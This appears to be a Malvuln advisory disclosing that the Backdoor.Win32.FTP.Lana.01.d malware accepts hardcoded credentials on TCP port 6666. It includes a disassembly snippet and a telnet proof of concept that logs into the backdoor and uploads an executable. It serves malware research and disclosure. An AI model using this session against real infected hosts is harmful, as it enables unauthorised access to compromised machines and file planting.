Discovery / credits: Malvuln - malvuln.com (c) 2022 Original source: https://malvuln.com/advisory/fc100ff65f676a26293915407adc211c.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.FTP.Lana.01.d Vulnerability: Weak Hardcoded Password Description: The malware listens on TCP port 6666. The credentials "user" and "pass" are weak and stored in plaintext with the executable. Type: PE32 MD5: fc100ff65f676a26293915407adc211c Vuln ID: MVID-2022-0468 Dropped files: FTP.exe Disclosure: 01/24/2022 Exploit/PoC: .text:00402C08 push offset aUser ; "user" .text:00402C0D push eax ; lpString1 .text:00402C0E call lstrcmpiA .text:00402C13 or eax, eax .text:00402C71 jz short loc_402CB0 .text:00402C73 mov eax, [ebp+lpString1] .text:00402C76 add eax, 5 .text:00402C79 push offset aPass ; "pass" telnet.exe x.x.x.x 6666 220 Anal FTP v0.1 USER user 331 Password required for user. PASS pass 230 User logged in, proceed. SYST 215 UNIX Type: L8 PASV 227 Entering Passive Mode (192,168,18,129,225,245). STOR DOOM.exe 150 Data connection accepted. 226 Transfer ok Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).